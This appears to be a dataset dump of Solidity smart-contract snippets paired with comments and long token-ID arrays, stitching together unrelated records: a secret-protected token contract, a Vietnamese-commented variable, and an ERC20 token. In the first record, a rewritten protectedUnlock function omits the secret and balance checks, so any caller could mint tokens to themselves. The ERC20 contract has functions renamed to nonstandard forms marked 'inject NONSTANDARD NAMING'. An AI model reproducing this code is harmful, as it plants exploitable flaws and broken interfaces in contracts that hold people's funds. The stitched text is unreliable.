/// @param _to address The address transferred to. function protectedBalance(address _from, address _to) public constant returns (uint256 balance, bytes32 hashed) { return(protectedBalances[_from][_to].balance, protectedBalances[_from][_to].hashed); } /// @dev Transfer tokens to a specified address protected by a secret. /// @param _to address The address to transfer to. /// @param _value uint256 The amount to be transferred. /// @param _hashed string The hashed secret to use as protection. function protectedTransfer(address _to, uint256 _value, bytes32 _hashed) public whenNotPaused returns (bool) { require(_value > 0); // "transfers" to address(0) should only be by the burn() function require(_to != address(0)); // explicitly disallow tranfer to the owner, as it's automatically translated into the coin // in protectedUnlock() and protectedReclaim() require(_to != owner); address from = msg.sender; // special case: msg.sender is the owner (Mint) if (msg.sender == owner) { from = theCoin; // ensure Mint is actually holding this supply; not required below because of revert in .sub() require(balances[theCoin].sub(protectedSupply) >= _value); } else { // otherwise, adjust the balances: transfer the tokens to the Mint to have them held in escrow balances[from] = balances[from].sub(_value); balances[theCoin] = balances[theCoin].add(_value); } // protected balance must be zero (unlocked or reclaimed in its entirety) // avoid a situation similar to: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if (protectedBalances[from][_to].balance != 0) { revert(); } // disallow reusing the previous secret // (not intended to prevent reuse of an N-x, x > 1 secret) require(protectedBalances[from][_to].hashed != _hashed); // set the protected balance and hashed value protectedBalances[from][_to].balance = _value; protectedBalances[from][_to].hashed = _hashed; // adjust the protected supply protectedSupply = protectedSupply.add(_value); ProtectedTransfer(from, _to, _value, _hashed); return true; } /// @dev Unlock protected tokens from an address. /// @param _from address The address to transfer from. /// @param _value uint256 The amount to be transferred. /// @param _secret string The secret phrase protecting the tokens. function protectedUnlock(address _from, uint256 _value, string _secret) external whenNotPaused returns (bool) { address to = msg.sender; // special case: msg.sender is the owner (Mint) if (msg.sender == owner) { to = theCoin; } // validate secret against hash require(checkSecret(to, _secret, protectedBalances[_from][to].hashed)); // must transfer all protected tokens at once as secret will have been leaked on the blockchain require(protectedBalances[_from][to].balance == _value); // adjust the balances: the Mint is holding the tokens in escrow balances[theCoin] = balances[theCoin].sub(_value); balances[to] = balances[to].add(_value); // adjust the protected balances and protected supply protectedBalances[_from][to].balance = 0; protectedSupply = protectedSupply.sub(_value); ProtectedUnlock(_from, to, _value); Transfer(_from, to, _value); return true; } /// @dev Reclaim protected tokens granted to a specified address. /// @param _to address The address to the tokens were granted to. /// @param _value uint256 The amount to be transferred. function protectedReclaim(address _to, uint256 _value) external whenNotPaused returns (bool) { address from = msg.sender; // special case: msg.sender is the owner (Mint) if (msg.sender == owner) { from = theCoin; } else { // otherwise, adjust the balances: transfer the tokens to the sender from the Mint, which was holding them in escrow balances[theCoin] = balances[theCoin].sub(_value); balances[from] = balances[from].add(_value); } // must transfer all protected tokens at once require(protectedBalances[from][_to].balance == _value); // adjust the protected balances and protected supply protectedBalances[from][_to].balance = 0; protectedSupply = protectedSupply.sub(_value); ProtectedReclaim(from, _to, _value); return true; } /// @dev Destroys (removes from supply) a specific amount of tokens. /// @param _amount uint256 The amount of tokens to be burned. function burn(uint256 _amount) external onlyOwner whenNotPaused { // The Mint is the owner of this contract. In this implementation, the // address of this contract (proxy for owner's account) is used to control // the money supply. Avoids the problem of having to transfer balances on owner change. require(_amount > 0); require(_amount <= balances[theCoin].sub(protectedSupply)); // account for protected balances // adjust the balances and supply balances[theCoin] = balances[theCoin].sub(_amount); totalSupply = totalSupply.sub(_amount); // not part of the ERC-20 standard, but required by Etherscan Transfer(theCoin, address(0), _amount); Burn(theCoin, _amount); } /// @dev ERC20 behaviour but revert if paused /// @param _spender address The address which will spend the funds. /// @param _value uint256 The amount of tokens to be spent. function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } /// @dev ERC20 behaviour but revert if paused /// @param _owner address The address which owns the funds. /// @param _spender address The address which will spend the funds. /// @return uint256 specifying the amount of tokens still available for the spender. function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return super.allowance(_owner, _spender); } /// @dev ERC20 behaviour but revert if paused /// @param _to address The address to transfer to. /// @param _value uint256 The amount to be transferred. function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { // "transfers" to address(0) should only be by the burn() function require(_to != address(0)); return super.transfer(_to, _value); } /// @dev ERC20 behaviour but revert if paused /// @param _from address The address which you want to send tokens from. /// @param _to address The address which you want to transfer to. /// @param _value uint256 the amount of tokens to be transferred. function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { // "transfers" to address(0) should only be by the burn() function require(_to != address(0)); // special case: _from is the Mint // note: within the current D1 Coin design, should never encounter this case if (_from == theCoin) { // ensure Mint is not exceeding its balance less protected supply require(_value <= balances[theCoin].sub(protectedSupply)); } return super.transferFrom(_from, _to, _value); } }
@dev Unlock protected tokens from an address. @param _from address The address to transfer from. @param _value uint256 The amount to be transferred. @param _secret string The secret phrase protecting the tokens. special case: msg.sender is the owner (Mint)
function protectedUnlock(address _from, uint256 _value, string _secret) external whenNotPaused returns (bool) { address to = msg.sender; if (msg.sender == owner) { to = theCoin; } balances[to] = balances[to].add(_value); protectedSupply = protectedSupply.sub(_value); ProtectedUnlock(_from, to, _value); Transfer(_from, to, _value); return true; }
5,449,043
[ 1, 7087, 4750, 2430, 628, 392, 1758, 18, 225, 389, 2080, 1758, 1021, 1758, 358, 7412, 628, 18, 225, 389, 1132, 2254, 5034, 1021, 3844, 358, 506, 906, 4193, 18, 225, 389, 5875, 533, 1021, 4001, 13045, 17151, 310, 326, 2430, 18, 4582, 648, 30, 1234, 18, 15330, 353, 326, 3410, 261, 49, 474, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4750, 7087, 12, 2867, 389, 2080, 16, 2254, 5034, 389, 1132, 16, 533, 389, 5875, 13, 3903, 1347, 1248, 28590, 1135, 261, 6430, 13, 288, 203, 3639, 1758, 358, 273, 1234, 18, 15330, 31, 203, 203, 3639, 309, 261, 3576, 18, 15330, 422, 3410, 13, 288, 203, 5411, 358, 273, 326, 27055, 31, 203, 3639, 289, 203, 203, 203, 203, 3639, 324, 26488, 63, 869, 65, 273, 324, 26488, 63, 869, 8009, 1289, 24899, 1132, 1769, 203, 540, 203, 3639, 4750, 3088, 1283, 273, 4750, 3088, 1283, 18, 1717, 24899, 1132, 1769, 203, 203, 3639, 1186, 1050, 7087, 24899, 2080, 16, 358, 16, 389, 1132, 1769, 203, 3639, 12279, 24899, 2080, 16, 358, 16, 389, 1132, 1769, 203, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x77b12c7B54d5a4CdA274f17BcB1D064c69699cA9/sources/Marathon.sol
Biến lưu số lượng vđv có trong danh sách trên.
uint public athletes_count;
5,278,029
[ 1, 18808, 162, 123, 128, 82, 328, 135, 113, 89, 272, 162, 124, 244, 328, 135, 113, 162, 124, 101, 3368, 331, 133, 244, 90, 276, 132, 116, 433, 932, 302, 304, 76, 272, 132, 99, 343, 433, 132, 108, 82, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 1071, 225, 421, 1810, 281, 67, 1883, 31, 7010, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.2; contract Ownable { address private _owner; event OWNERSHIPTRANSFERRED275(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { _owner = msg.sender; emit OWNERSHIPTRANSFERRED275(address(0), _owner); } function OWNER625() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER263() { //inject NONSTANDARD NAMING require(ISOWNER221()); _; } function ISOWNER221() public view returns (bool) { //inject NONSTANDARD NAMING return msg.sender == _owner; } function RENOUNCEOWNERSHIP563() public ONLYOWNER263 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED275(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP811(address newOwner) public ONLYOWNER263 { //inject NONSTANDARD NAMING _TRANSFEROWNERSHIP827(newOwner); } function _TRANSFEROWNERSHIP827(address newOwner) internal { //inject NONSTANDARD NAMING require(newOwner != address(0)); emit OWNERSHIPTRANSFERRED275(_owner, newOwner); _owner = newOwner; } } contract Secondary { address private _primary; event PRIMARYTRANSFERRED466( //inject NONSTANDARD NAMING address recipient ); constructor () internal { _primary = msg.sender; emit PRIMARYTRANSFERRED466(_primary); } modifier ONLYPRIMARY116() { //inject NONSTANDARD NAMING require(msg.sender == _primary); _; } function PRIMARY581() public view returns (address) { //inject NONSTANDARD NAMING return _primary; } function TRANSFERPRIMARY630(address recipient) public ONLYPRIMARY116 { //inject NONSTANDARD NAMING require(recipient != address(0)); _primary = recipient; emit PRIMARYTRANSFERRED466(_primary); } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC20\IERC20.sol interface IERC20 { function TRANSFER568(address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function APPROVE366(address spender, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM855(address from, address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function TOTALSUPPLY96() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF58(address who) external view returns (uint256); //inject NONSTANDARD NAMING function ALLOWANCE511(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING event TRANSFER836(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL290(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } // File: node_modules\openzeppelin-solidity\contracts\math\SafeMath.sol library SafeMath { function MUL97(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function DIV803(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function SUB631(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a); uint256 c = a - b; return c; } function ADD445(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a); return c; } function MOD309(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0); return a % b; } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC20\ERC20.sol contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function TOTALSUPPLY96() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF58(address owner) public view returns (uint256) { //inject NONSTANDARD NAMING return _balances[owner]; } function ALLOWANCE511(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING return _allowed[owner][spender]; } function TRANSFER568(address to, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER261(msg.sender, to, value); return true; } function APPROVE366(address spender, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE283(msg.sender, spender, value); return true; } function TRANSFERFROM855(address from, address to, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER261(from, to, value); _APPROVE283(from, msg.sender, _allowed[from][msg.sender].SUB631(value)); return true; } function INCREASEALLOWANCE464(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE283(msg.sender, spender, _allowed[msg.sender][spender].ADD445(addedValue)); return true; } function DECREASEALLOWANCE302(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE283(msg.sender, spender, _allowed[msg.sender][spender].SUB631(subtractedValue)); return true; } function _TRANSFER261(address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING require(to != address(0)); _balances[from] = _balances[from].SUB631(value); _balances[to] = _balances[to].ADD445(value); emit TRANSFER836(from, to, value); } function _MINT945(address account, uint256 value) internal { //inject NONSTANDARD NAMING require(account != address(0)); _totalSupply = _totalSupply.ADD445(value); _balances[account] = _balances[account].ADD445(value); emit TRANSFER836(address(0), account, value); } function _BURN542(address account, uint256 value) internal { //inject NONSTANDARD NAMING require(account != address(0)); _totalSupply = _totalSupply.SUB631(value); _balances[account] = _balances[account].SUB631(value); emit TRANSFER836(account, address(0), value); } function _APPROVE283(address owner, address spender, uint256 value) internal { //inject NONSTANDARD NAMING require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit APPROVAL290(owner, spender, value); } function _BURNFROM236(address account, uint256 value) internal { //inject NONSTANDARD NAMING _BURN542(account, value); _APPROVE283(account, msg.sender, _allowed[account][msg.sender].SUB631(value)); } } // File: openzeppelin-solidity\contracts\token\ERC20\ERC20Burnable.sol contract ERC20Burnable is ERC20 { function BURN435(uint256 value) public { //inject NONSTANDARD NAMING _BURN542(msg.sender, value); } function BURNFROM369(address from, uint256 value) public { //inject NONSTANDARD NAMING _BURNFROM236(from, value); } } // File: node_modules\openzeppelin-solidity\contracts\access\Roles.sol library Roles { struct Role { mapping (address => bool) bearer; } function ADD445(Role storage role, address account) internal { //inject NONSTANDARD NAMING require(account != address(0)); require(!HAS23(role, account)); role.bearer[account] = true; } function REMOVE600(Role storage role, address account) internal { //inject NONSTANDARD NAMING require(account != address(0)); require(HAS23(role, account)); role.bearer[account] = false; } function HAS23(Role storage role, address account) internal view returns (bool) { //inject NONSTANDARD NAMING require(account != address(0)); return role.bearer[account]; } } // File: node_modules\openzeppelin-solidity\contracts\access\roles\MinterRole.sol contract MinterRole { using Roles for Roles.Role; event MINTERADDED570(address indexed account); //inject NONSTANDARD NAMING event MINTERREMOVED239(address indexed account); //inject NONSTANDARD NAMING Roles.Role private _minters; constructor () internal { _ADDMINTER827(msg.sender); } modifier ONLYMINTER291() { //inject NONSTANDARD NAMING require(ISMINTER698(msg.sender)); _; } function ISMINTER698(address account) public view returns (bool) { //inject NONSTANDARD NAMING return _minters.HAS23(account); } function ADDMINTER239(address account) public ONLYMINTER291 { //inject NONSTANDARD NAMING _ADDMINTER827(account); } function RENOUNCEMINTER237() public { //inject NONSTANDARD NAMING _REMOVEMINTER650(msg.sender); } function _ADDMINTER827(address account) internal { //inject NONSTANDARD NAMING _minters.ADD445(account); emit MINTERADDED570(account); } function _REMOVEMINTER650(address account) internal { //inject NONSTANDARD NAMING _minters.REMOVE600(account); emit MINTERREMOVED239(account); } } // File: openzeppelin-solidity\contracts\token\ERC20\ERC20Mintable.sol contract ERC20Mintable is ERC20, MinterRole { function MINT610(address to, uint256 value) public ONLYMINTER291 returns (bool) { //inject NONSTANDARD NAMING _MINT945(to, value); return true; } } // File: contracts\ERC20Frozenable.sol //truffle-flattener Token.sol contract ERC20Frozenable is ERC20Burnable, ERC20Mintable, Ownable { mapping (address => bool) private _frozenAccount; event FROZENFUNDS807(address target, bool frozen); //inject NONSTANDARD NAMING function FROZENACCOUNT782(address _address) public view returns(bool isFrozen) { //inject NONSTANDARD NAMING return _frozenAccount[_address]; } function FREEZEACCOUNT250(address target, bool freeze) public ONLYOWNER263 { //inject NONSTANDARD NAMING require(_frozenAccount[target] != freeze, "Same as current"); _frozenAccount[target] = freeze; emit FROZENFUNDS807(target, freeze); } function _TRANSFER261(address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING require(!_frozenAccount[from], "error - frozen"); require(!_frozenAccount[to], "error - frozen"); super._TRANSFER261(from, to, value); } } // File: openzeppelin-solidity\contracts\token\ERC20\ERC20Detailed.sol contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function NAME858() public view returns (string memory) { //inject NONSTANDARD NAMING return _name; } function SYMBOL418() public view returns (string memory) { //inject NONSTANDARD NAMING return _symbol; } function DECIMALS361() public view returns (uint8) { //inject NONSTANDARD NAMING return _decimals; } } contract Escrow is Secondary { using SafeMath for uint256; event DEPOSITED6(address indexed payee, uint256 weiAmount); //inject NONSTANDARD NAMING event WITHDRAWN702(address indexed payee, uint256 weiAmount); //inject NONSTANDARD NAMING mapping(address => uint256) private _deposits; function DEPOSITSOF491(address payee) public view returns (uint256) { //inject NONSTANDARD NAMING return _deposits[payee]; } function DEPOSIT494(address payee) public ONLYPRIMARY116 payable { //inject NONSTANDARD NAMING uint256 amount = msg.value; _deposits[payee] = _deposits[payee].ADD445(amount); emit DEPOSITED6(payee, amount); } function WITHDRAW275(address payable payee) public ONLYPRIMARY116 { //inject NONSTANDARD NAMING uint256 payment = _deposits[payee]; _deposits[payee] = 0; payee.transfer(payment); emit WITHDRAWN702(payee, payment); } } contract PullPayment { Escrow private _escrow; constructor () internal { _escrow = new Escrow(); } function WITHDRAWPAYMENTS729(address payable payee) public { //inject NONSTANDARD NAMING _escrow.WITHDRAW275(payee); } function PAYMENTS838(address dest) public view returns (uint256) { //inject NONSTANDARD NAMING return _escrow.DEPOSITSOF491(dest); } function _ASYNCTRANSFER275(address dest, uint256 amount) internal { //inject NONSTANDARD NAMING _escrow.DEPOSIT494.value(amount)(dest); } } contract PaymentSplitter { using SafeMath for uint256; event PAYEEADDED416(address account, uint256 shares); //inject NONSTANDARD NAMING event PAYMENTRELEASED38(address to, uint256 amount); //inject NONSTANDARD NAMING event PAYMENTRECEIVED491(address from, uint256 amount); //inject NONSTANDARD NAMING uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; constructor (address[] memory payees, uint256[] memory shares) public payable { require(payees.length == shares.length); require(payees.length > 0); for (uint256 i = 0; i < payees.length; i++) { _ADDPAYEE628(payees[i], shares[i]); } } function () external payable { emit PAYMENTRECEIVED491(msg.sender, msg.value); } function TOTALSHARES81() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalShares; } function TOTALRELEASED129() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalReleased; } function SHARES670(address account) public view returns (uint256) { //inject NONSTANDARD NAMING return _shares[account]; } function RELEASED874(address account) public view returns (uint256) { //inject NONSTANDARD NAMING return _released[account]; } function PAYEE185(uint256 index) public view returns (address) { //inject NONSTANDARD NAMING return _payees[index]; } function RELEASE471(address payable account) public { //inject NONSTANDARD NAMING require(_shares[account] > 0); uint256 totalReceived = address(this).balance.ADD445(_totalReleased); uint256 payment = totalReceived.MUL97(_shares[account]).DIV803(_totalShares).SUB631(_released[account]); require(payment != 0); _released[account] = _released[account].ADD445(payment); _totalReleased = _totalReleased.ADD445(payment); account.transfer(payment); emit PAYMENTRELEASED38(account, payment); } function _ADDPAYEE628(address account, uint256 shares_) private { //inject NONSTANDARD NAMING require(account != address(0)); require(shares_ > 0); require(_shares[account] == 0); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares.ADD445(shares_); emit PAYEEADDED416(account, shares_); } } contract ConditionalEscrow is Escrow { function WITHDRAWALALLOWED82(address payee) public view returns (bool); //inject NONSTANDARD NAMING function WITHDRAW275(address payable payee) public { //inject NONSTANDARD NAMING require(WITHDRAWALALLOWED82(payee)); super.WITHDRAW275(payee); } } contract RefundEscrow is ConditionalEscrow { enum State { Active, Refunding, Closed } event REFUNDSCLOSED652(); //inject NONSTANDARD NAMING event REFUNDSENABLED266(); //inject NONSTANDARD NAMING State private _state; address payable private _beneficiary; constructor (address payable beneficiary) public { require(beneficiary != address(0)); _beneficiary = beneficiary; _state = State.Active; } function STATE442() public view returns (State) { //inject NONSTANDARD NAMING return _state; } function BENEFICIARY91() public view returns (address) { //inject NONSTANDARD NAMING return _beneficiary; } function DEPOSIT494(address refundee) public payable { //inject NONSTANDARD NAMING require(_state == State.Active); super.DEPOSIT494(refundee); } function CLOSE124() public ONLYPRIMARY116 { //inject NONSTANDARD NAMING require(_state == State.Active); _state = State.Closed; emit REFUNDSCLOSED652(); } function ENABLEREFUNDS102() public ONLYPRIMARY116 { //inject NONSTANDARD NAMING require(_state == State.Active); _state = State.Refunding; emit REFUNDSENABLED266(); } function BENEFICIARYWITHDRAW365() public { //inject NONSTANDARD NAMING require(_state == State.Closed); _beneficiary.transfer(address(this).balance); } function WITHDRAWALALLOWED82(address) public view returns (bool) { //inject NONSTANDARD NAMING return _state == State.Refunding; } } // File: contracts\Token.sol //truffle-flattener Token.sol contract DeltaBlocks is ERC20Frozenable, ERC20Detailed { constructor() ERC20Detailed("Delta Blocks", "DTB", 18) public { uint256 supply = 10000000000; uint256 initialSupply = supply * uint(10) ** DECIMALS361(); _MINT945(msg.sender, initialSupply); } }
inject NONSTANDARD NAMING
function REMOVE600(Role storage role, address account) internal {
7,302,952
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 26056, 28133, 12, 2996, 2502, 2478, 16, 1758, 2236, 13, 2713, 288, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
